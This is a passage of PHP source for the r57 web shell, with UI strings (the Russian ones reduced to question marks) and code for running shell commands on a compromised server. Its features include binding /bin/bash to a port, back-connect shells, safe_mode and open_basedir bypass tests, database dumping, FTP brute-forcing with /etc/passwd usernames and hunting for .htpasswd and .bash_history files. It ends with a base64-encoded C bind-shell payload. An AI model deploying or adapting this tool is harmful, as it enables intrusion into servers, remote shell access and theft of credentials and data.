  765. 'ru_butt4' =>'?????????',
  766. 'ru_text15'=>'???????? ?????? ? ?????????? ???????',
  767. 'ru_text16'=>'????????????',
  768. 'ru_text17'=>'????????? ????',
  769. 'ru_text18'=>'????????? ????',
  770. 'ru_text19'=>'Exploits',
  771. 'ru_text20'=>'????????????',
  772. 'ru_text21'=>'????? ???',
  773. 'ru_text22'=>'datapipe',
  774. 'ru_text23'=>'????????? ????',
  775. 'ru_text24'=>'????????? ????',
  776. 'ru_text25'=>'????????? ????',
  777. 'ru_text26'=>'????????????',
  778. 'ru_butt5' =>'?????????',
  779. 'ru_text28'=>'?????? ? safe_mode',
  780. 'ru_text29'=>'?????? ????????',
  781. 'ru_butt6' =>'???????',
  782. 'ru_text30'=>'???????? ?????',
  783. 'ru_butt7' =>'???????',
  784. 'ru_text31'=>'???? ?? ??????',
  785. 'ru_text32'=>'?????????? PHP ????',
  786. 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
  787. 'ru_butt8' =>'?????????',
  788. 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
  789. 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
  790. 'ru_text36'=>'???? . ???????',
  791. 'ru_text37'=>'?????',
  792. 'ru_text38'=>'??????',
  793. 'ru_text39'=>'????',
  794. 'ru_text40'=>'???? ??????? ???? ??????',
  795. 'ru_butt9' =>'????',
  796. 'ru_text41'=>'????????? ? ?????',
  797. 'ru_text42'=>'?????????????? ?????',
  798. 'ru_text43'=>'????????????? ????',
  799. 'ru_butt10'=>'?????????',
  800. 'ru_butt11'=>'?????????????',
  801. 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
  802. 'ru_text45'=>'???? ????????',
  803. 'ru_text46'=>'???????? phpinfo()',
  804. 'ru_text47'=>'???????? ???????? php.ini',
  805. 'ru_text48'=>'???????? ????????? ??????',
  806. 'ru_text49'=>'???????? ??????? ? ???????',
  807. 'ru_text50'=>'?????????? ? ??????????',
  808. 'ru_text51'=>'?????????? ? ??????',
  809. 'ru_text52'=>'????? ??? ??????',
  810. 'ru_text53'=>'?????? ? ?????',
  811. 'ru_text54'=>'????? ?????? ? ??????',
  812. 'ru_butt12'=>'?????',
  813. 'ru_text55'=>'?????? ? ??????',
  814. 'ru_text56'=>'?????? ?? ???????',
  815. 'ru_text57'=>'???????/??????? ????/??????????',
  816. 'ru_text58'=>'???',
  817. 'ru_text59'=>'????',
  818. 'ru_text60'=>'??????????',
  819. 'ru_butt13'=>'???????/???????',
  820. 'ru_text61'=>'???? ??????',
  821. 'ru_text62'=>'?????????? ???????',
  822. 'ru_text63'=>'???? ??????',
  823. 'ru_text64'=>'?????????? ???????',
  824. 'ru_text65'=>'???????',
  825. 'ru_text66'=>'???????',
  826. 'ru_text67'=>'Chown/Chgrp/Chmod',
  827. 'ru_text68'=>'???????',
  828. 'ru_text69'=>'????????1',
  829. 'ru_text70'=>'????????2',
  830. 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
  831. 'ru_text72'=>'????? ??? ??????',
  832. 'ru_text73'=>'?????? ? ?????',
  833. 'ru_text74'=>'?????? ? ??????',
  834. 'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
  835. 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
  836. 'ru_text80'=>'???',
  837. 'ru_text81'=>'????',
  838. 'ru_text82'=>'???? ??????',
  839. 'ru_text83'=>'?????????? SQL ???????',
  840. 'ru_text84'=>'SQL ??????',
  841. 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
  842. 'ru_text86'=>'?????????? ????? ? ???????',
  843. 'ru_butt14'=>'???????',
  844. 'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
  845. 'ru_text88'=>'FTP-??????:????',
  846. 'ru_text89'=>'???? ?? ftp ???????',
  847. 'ru_text90'=>'????? ????????',
  848. 'ru_text91'=>'???????????? ?',
  849. 'ru_text92'=>'??? ?????????',
  850. 'ru_text93'=>'FTP',
  851. 'ru_text94'=>'FTP-????????',
  852. 'ru_text95'=>'?????? ?????????????',
  853. 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
  854. 'ru_text97'=>'????????? ??????????: ',
  855. 'ru_text98'=>'??????? ???????????: ',
  856. 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
  857. 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
  858. 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
  859. 'ru_text102'=>'?????',
  860. 'ru_text103'=>'???????? ??????',
  861. 'ru_text104'=>'???????? ????? ?? ???????? ????',
  862. 'ru_text105'=>'????',
  863. 'ru_text106'=>'??',
  864. 'ru_text107'=>'????',
  865. 'ru_butt15'=>'?????????',
  866. 'ru_text108'=>'????? ??????',
  867. 'ru_text109'=>'????????',
  868. 'ru_text110'=>'??????????',
  869. 'ru_text111'=>'SQL-?????? : ????',
  870. 'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',
  871. 'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',
  872. 'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',
  873. 'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',
  874. 'ru_text116'=>'?????????? ????',
  875. 'ru_text117'=>'?',
  876. 'ru_text118'=>'???? ??????????',
  877. 'ru_text119'=>'?? ??????? ??????????? ????',
  878. 'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
  879. 'ru_err1'=>'??????! ?? ???? ????????? ???? ',
  880. 'ru_err2'=>'??????! ?? ??????? ??????? ',
  881. 'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
  882. 'ru_err4'=>'?????? ??????????? ?? ftp ???????',
  883. 'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
  884. 'ru_err6'=>'??????! ?? ??????? ????????? ??????',
  885. 'ru_err7'=>'?????? ??????????',
  886. /* --------------------------------------------------------------- */
  887. 'eng_text1' =>'Executed command',
  888. 'eng_text2' =>'Execute command on server',
  889. 'eng_text3' =>'Run command',
  890. 'eng_text4' =>'Work directory',
  891. 'eng_text5' =>'Upload files on server',
  892. 'eng_text6' =>'Local file',
  893. 'eng_text7' =>'Aliases',
  894. 'eng_text8' =>'Select alias',
  895. 'eng_butt1' =>'Execute',
  896. 'eng_butt2' =>'Upload',
  897. 'eng_text9' =>'Bind port to /bin/bash',
  898. 'eng_text10'=>'Port',
  899. 'eng_text11'=>'Password for access',
  900. 'eng_butt3' =>'Bind',
  901. 'eng_text12'=>'back-connect',
  902. 'eng_text13'=>'IP',
  903. 'eng_text14'=>'Port',
  904. 'eng_butt4' =>'Connect',
  905. 'eng_text15'=>'Upload files from remote server',
  906. 'eng_text16'=>'With',
  907. 'eng_text17'=>'Remote file',
  908. 'eng_text18'=>'Local file',
  909. 'eng_text19'=>'Exploits',
  910. 'eng_text20'=>'Use',
  911. 'eng_text21'=>'&nbsp;New name',
  912. 'eng_text22'=>'datapipe',
  913. 'eng_text23'=>'Local port',
  914. 'eng_text24'=>'Remote host',
  915. 'eng_text25'=>'Remote port',
  916. 'eng_text26'=>'Use',
  917. 'eng_butt5' =>'Run',
  918. 'eng_text28'=>'Work in safe_mode',
  919. 'eng_text29'=>'ACCESS DENIED',
  920. 'eng_butt6' =>'Change',
  921. 'eng_text30'=>'Cat file',
  922. 'eng_butt7' =>'Show',
  923. 'eng_text31'=>'File not found',
  924. 'eng_text32'=>'Eval PHP code',
  925. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  926. 'eng_butt8' =>'Test',
  927. 'eng_text34'=>'Test bypass safe_mode with include function',
  928. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  929. 'eng_text36'=>'Database . Table',
  930. 'eng_text37'=>'Login',
  931. 'eng_text38'=>'Password',
  932. 'eng_text39'=>'Database',
  933. 'eng_text40'=>'Dump database table',
  934. 'eng_butt9' =>'Dump',
  935. 'eng_text41'=>'Save dump in file',
  936. 'eng_text42'=>'Edit files',
  937. 'eng_text43'=>'File for edit',
  938. 'eng_butt10'=>'Save',
  939. 'eng_text44'=>'Can\'t edit file! Only read access!',
  940. 'eng_text45'=>'File saved',
  941. 'eng_text46'=>'Show phpinfo()',
  942. 'eng_text47'=>'Show variables from php.ini',
  943. 'eng_text48'=>'Delete temp files',
  944. 'eng_butt11'=>'Edit file',
  945. 'eng_text49'=>'Delete script from server',
  946. 'eng_text50'=>'View cpu info',
  947. 'eng_text51'=>'View memory info',
  948. 'eng_text52'=>'Find text',
  949. 'eng_text53'=>'In dirs',
  950. 'eng_text54'=>'Find text in files',
  951. 'eng_butt12'=>'Find',
  952. 'eng_text55'=>'Only in files',
  953. 'eng_text56'=>'Nothing :(',
  954. 'eng_text57'=>'Create/Delete File/Dir',
  955. 'eng_text58'=>'name',
  956. 'eng_text59'=>'file',
  957. 'eng_text60'=>'dir',
  958. 'eng_butt13'=>'Create/Delete',
  959. 'eng_text61'=>'File created',
  960. 'eng_text62'=>'Dir created',
  961. 'eng_text63'=>'File deleted',
  962. 'eng_text64'=>'Dir deleted',
  963. 'eng_text65'=>'Create',
  964. 'eng_text66'=>'Delete',
  965. 'eng_text67'=>'Chown/Chgrp/Chmod',
  966. 'eng_text68'=>'Command',
  967. 'eng_text69'=>'param1',
  968. 'eng_text70'=>'param2',
  969. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  970. 'eng_text72'=>'Text for find',
  971. 'eng_text73'=>'Find in folder',
  972. 'eng_text74'=>'Find in files',
  973. 'eng_text75'=>'* you can use regexp',
  974. 'eng_text76'=>'Search text in files via find',
  975. 'eng_text80'=>'Type',
  976. 'eng_text81'=>'Net',
  977. 'eng_text82'=>'Databases',
  978. 'eng_text83'=>'Run SQL query',
  979. 'eng_text84'=>'SQL query',
  980. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  981. 'eng_text86'=>'Download files from server',
  982. 'eng_butt14'=>'Download',
  983. 'eng_text87'=>'Download files from remote ftp-server',
  984. 'eng_text88'=>'FTP-server:port',
  985. 'eng_text89'=>'File on ftp',
  986. 'eng_text90'=>'Transfer mode',
  987. 'eng_text91'=>'Archivation',
  988. 'eng_text92'=>'without archivation',
  989. 'eng_text93'=>'FTP',
  990. 'eng_text94'=>'FTP-bruteforce',
  991. 'eng_text95'=>'Users list',
  992. 'eng_text96'=>'Can\'t get users list',
  993. 'eng_text97'=>'checked: ',
  994. 'eng_text98'=>'success: ',
  995. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  996. 'eng_text100'=>'Send file to remote ftp server',
  997. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  998. 'eng_text102'=>'Mail',
  999. 'eng_text103'=>'Send email',
  1000. 'eng_text104'=>'Send file to email',
  1001. 'eng_text105'=>'To',
  1002. 'eng_text106'=>'From',
  1003. 'eng_text107'=>'Subj',
  1004. 'eng_butt15'=>'Send',
  1005. 'eng_text108'=>'Mail',
  1006. 'eng_text109'=>'Hide',
  1007. 'eng_text110'=>'Show',
  1008. 'eng_text111'=>'SQL-Server : Port',
  1009. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
  1010. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
  1011. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
  1012. 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
  1013. 'eng_text116'=>'Copy from',
  1014. 'eng_text117'=>'to',
  1015. 'eng_text118'=>'File copied',
  1016. 'eng_text119'=>'Cant copy file',
  1017. 'eng_err0'=>'Error! Can\'t write in file ',
  1018. 'eng_err1'=>'Error! Can\'t read file ',
  1019. 'eng_err2'=>'Error! Can\'t create ',
  1020. 'eng_err3'=>'Error! Can\'t connect to ftp',
  1021. 'eng_err4'=>'Error! Can\'t login on ftp server',
  1022. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  1023. 'eng_err6'=>'Error! Can\'t sent mail',
  1024. 'eng_err7'=>'Mail send',
  1025. );
  1026. /*
  1027. ?????? ??????
  1028. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  1029. ?? ?????? ???? ????????? ??? ???????? ???????.
  1030. */
  1031. $aliases=array(
  1032. 'find suid files'=>'find / -type f -perm -04000 -ls',
  1033. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  1034. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  1035. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  1036. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  1037. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  1038. 'find config* files'=>'find / -type f -name "config*"',
  1039. 'find config* files in current dir'=>'find . -type f -name "config*"',
  1040. 'find all writable files'=>'find / -type f -perm -2 -ls',
  1041. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  1042. 'find all writable directories'=>'find /  -type d -perm -2 -ls',
  1043. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  1044. 'find all writable directories and files'=>'find / -perm -2 -ls',
  1045. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  1046. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  1047. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  1048. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  1049. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  1050. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  1051. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  1052. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  1053. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  1054. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  1055. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  1056. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  1057. 'show opened ports'=>'netstat -an | grep -i listen',
  1058. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  1059. );
  1060. $table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  1061. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  1062. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  1063. $table_end1 = "</td></tr>";
  1064. $arrow = " <font face=Webdings color=gray>4</font>";
  1065. $lb = "<font color=black>[</font>";
  1066. $rb = "<font color=black>]</font>";
  1067. $font = "<font face=Verdana size=-2>";
  1068. $ts = "<table class=table1 width=100% align=center>";
  1069. $te = "</table>";
  1070. $fs = "<form name=form method=POST>";
  1071. $fe = "</form>";
  1072.  
  1073. if(isset($_GET['users']))
  1074.  {
  1075.  if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  1076.  else
  1077.   {
  1078.   echo '<center>';
  1079.   foreach($users as $user) { echo $user."<br>"; }
  1080.   echo '</center>';
  1081.   }
  1082.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  1083.  }
  1084.  
  1085. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  1086. $dir = @getcwd();
  1087. $unix = 0;
  1088. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  1089. if(empty($dir))
  1090.  {
  1091.  $os = getenv('OS');
  1092.  if(empty($os)){ $os = php_uname(); }
  1093.  if(empty($os)){ $os ="-"; $unix=1; }
  1094.  else
  1095.     {
  1096.     if(@eregi("^win",$os)) { $unix = 0; }
  1097.     else { $unix = 1; }
  1098.     }
  1099.  }
  1100. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  1101.   {
  1102.     echo $head;
  1103.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  1104.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  1105.     $sr->SearchText(0,0);
  1106.     $res = $sr->GetResultFiles();
  1107.     $found = $sr->GetMatchesCount();
  1108.     $titles = $sr->GetTitles();
  1109.     $r = "";
  1110.     if($found > 0)
  1111.     {
  1112.       $r .= "<TABLE width=100%>";
  1113.       foreach($res as $file=>$v)
  1114.       {
  1115.         $r .= "<TR>";
  1116.         $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  1117.         $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  1118.         $r .= "</b></font></ TD>";
  1119.         $r .= "</TR>";
  1120.         foreach($v as $a=>$b)
  1121.         {
  1122.           $r .= "<TR>";
  1123.           $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  1124.           $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  1125.           $r .= "</TR>\n";
  1126.         }
  1127.       }
  1128.       $r .= "</TABLE>";
  1129.     echo $r;
  1130.     }
  1131.     else
  1132.     {
  1133.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  1134.     }
  1135.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1136.   die();
  1137.   }                                                          
  1138. if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  1139. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  1140. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  1141. function ws($i)
  1142. {
  1143. return @str_repeat("&nbsp;",$i);
  1144. }
  1145. function ex($cfe)
  1146. {
  1147.  $res = '';
  1148.  if (!empty($cfe))
  1149.  {
  1150.   if(function_exists('exec'))
  1151.    {
  1152.     @exec($cfe,$res);
  1153.     $res = join("\n",$res);
  1154.    }
  1155.   elseif(function_exists('shell_exec'))
  1156.    {
  1157.     $res = @shell_exec($cfe);
  1158.    }
  1159.   elseif(function_exists('system'))
  1160.    {
  1161.     @ob_start();
  1162.     @system($cfe);
  1163.     $res = @ob_get_contents();
  1164.     @ob_end_clean();
  1165.    }
  1166.   elseif(function_exists('passthru'))
  1167.    {
  1168.     @ob_start();
  1169.     @passthru($cfe);
  1170.     $res = @ob_get_contents();
  1171.     @ob_end_clean();
  1172.    }
  1173.   elseif(@is_resource($f = @popen($cfe,"r")))
  1174.   {
  1175.    $res = "";
  1176.    while(!@feof($f)) { $res .= @fread($f,1024); }
  1177.    @pclose($f);
  1178.   }
  1179.  }
  1180.  return $res;
  1181. }
  1182. function get_users()
  1183. {
  1184.   $users = array();
  1185.   $rows=file('/etc/passwd');
  1186.   if(!$rows) return 0
  1187.   foreach ($rows as $string)
  1188.    {
  1189.         $user = @explode(":",$string);
  1190.         if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1191.    }
  1192.   return $users;        
  1193. }
  1194. function err($n,$txt='')
  1195. {
  1196. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';       
  1197. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  1198. if(!empty($txt)) { echo " $txt"; }
  1199. echo '</b></div></font></td></tr></table>';
  1200. return null;
  1201. }
  1202. function perms($mode)
  1203. {
  1204. if (!$GLOBALS['unix']) return 0;
  1205. if( $mode & 0x1000 ) { $type='p'; }
  1206. else if( $mode & 0x2000 ) { $type='c'; }
  1207. else if( $mode & 0x4000 ) { $type='d'; }
  1208. else if( $mode & 0x6000 ) { $type='b'; }
  1209. else if( $mode & 0x8000 ) { $type='-'; }
  1210. else if( $mode & 0xA000 ) { $type='l'; }
  1211. else if( $mode & 0xC000 ) { $type='s'; }
  1212. else $type='u';
  1213. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1214. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1215. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1216. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1217. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1218. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1219. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1220. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1221. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1222. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1223. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1224. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1225. $s=sprintf("%1s", $type);
  1226. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1227. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1228. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1229. return trim($s);
  1230. }
  1231. function in($type,$name,$size,$value,$checked=0)
  1232. {
  1233.  $ret = "<input type=".$type." name=".$name." ";
  1234.  if($size != 0) { $ret .= "size=".$size." "; }
  1235.  $ret .= "value=\"".$value."\"";
  1236.  if($checked) $ret .= " checked";
  1237.  return $ret.">";
  1238. }
  1239. function which($pr)
  1240. {
  1241. $path = ex("which $pr");
  1242. if(!empty($path)) { return $path; } else { return $pr; }
  1243. }
  1244. function cf($fname,$text)
  1245. {
  1246.  $w_file=@fopen($fname,"w") or err(0);
  1247.  if($w_file)
  1248.  {
  1249.  @fputs($w_file,@base64_decode($text));
  1250.  @fclose($w_file);
  1251.  }
  1252. }
  1253. function sr($l,$t1,$t2)
  1254.  {
  1255.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1256.  }     
  1257. if (!@function_exists("view_size"))
  1258. {
  1259. function view_size($size)
  1260. {
  1261.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1262.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1263.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1264.  else {$size = $size . " B";}
  1265.  return $size;
  1266. }
  1267. }
  1268.   function DirFilesR($dir,$types='')
  1269.   {
  1270.     $files = Array();
  1271.     if(($handle = @opendir($dir)))
  1272.     {
  1273.       while (false !== ($file = @readdir($handle)))
  1274.       {
  1275.         if ($file != "." && $file != "..")
  1276.         {
  1277.           if(@is_dir($dir."/".$file))
  1278.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1279.           else
  1280.           {
  1281.             $pos = @strrpos($file,".");
  1282.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1283.             if($types)
  1284.             {
  1285.               if(@in_array($ext,explode(';',$types)))
  1286.                 $files[] = $dir."/".$file;
  1287.             }
  1288.             else
  1289.               $files[] = $dir."/".$file;
  1290.           }
  1291.         }
  1292.       }
  1293.       @closedir($handle);
  1294.     }
  1295.     return $files;
  1296.   }
  1297.   class SearchResult
  1298.   {
  1299.     var $text;
  1300.     var $FilesToSearch;
  1301.     var $ResultFiles;
  1302.     var $FilesTotal;
  1303.     var $MatchesCount;
  1304.     var $FileMatschesCount;
  1305.     var $TimeStart;
  1306.     var $TimeTotal;
  1307.     var $titles;
  1308.     function SearchResult($dir,$text,$filter='')
  1309.     {
  1310.       $dirs = @explode(";",$dir);
  1311.       $this->FilesToSearch = Array();
  1312.       for($a=0;$a<count($dirs);$a++)
  1313.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1314.       $this->text = $text;
  1315.       $this->FilesTotal = @count($this->FilesToSearch);
  1316.       $this->TimeStart = getmicrotime();
  1317.       $this->MatchesCount = 0;
  1318.       $this->ResultFiles = Array();
  1319.       $this->FileMatchesCount = Array();
  1320.       $this->titles = Array();
  1321.     }
  1322.     function GetFilesTotal() { return $this->FilesTotal; }
  1323.     function GetTitles() { return $this->titles; }
  1324.     function GetTimeTotal() { return $this->TimeTotal; }
  1325.     function GetMatchesCount() { return $this->MatchesCount; }
  1326.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1327.     function GetResultFiles() { return $this->ResultFiles; }
  1328.     function SearchText($phrase=0,$case=0) {
  1329.     $qq = @explode(' ',$this->text);
  1330.     $delim = '|';
  1331.       if($phrase)
  1332.         foreach($qq as $k=>$v)
  1333.           $qq[$k] = '\b'.$v.'\b';
  1334.       $words = '('.@implode($delim,$qq).')';
  1335.       $pattern = "/".$words."/";
  1336.       if(!$case)
  1337.         $pattern .= 'i';
  1338.       foreach($this->FilesToSearch as $k=>$filename)
  1339.       {
  1340.         $this->FileMatchesCount[$filename] = 0;
  1341.         $FileStrings = @file($filename) or @next;
  1342.         for($a=0;$a<@count($FileStrings);$a++)
  1343.         {
  1344.           $count = 0;
  1345.           $CurString = $FileStrings[$a];
  1346.           $CurString = @Trim($CurString);
  1347.           $CurString = @strip_tags($CurString);
  1348.           $aa = '';
  1349.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1350.           {
  1351.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1352.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1353.             $this->MatchesCount += $count;
  1354.             $this->FileMatchesCount[$filename] += $count;
  1355.           }
  1356.         }
  1357.       }
  1358.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1359.     }
  1360.   }
  1361.   function getmicrotime()
  1362.   {
  1363.     list($usec,$sec) = @explode(" ",@microtime());
  1364.     return ((float)$usec + (float)$sec);
  1365.   }
  1366. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1367. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1368. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1369. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1370. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1371. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1372. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1373. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1374. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1375. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1376. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1377. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1378. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
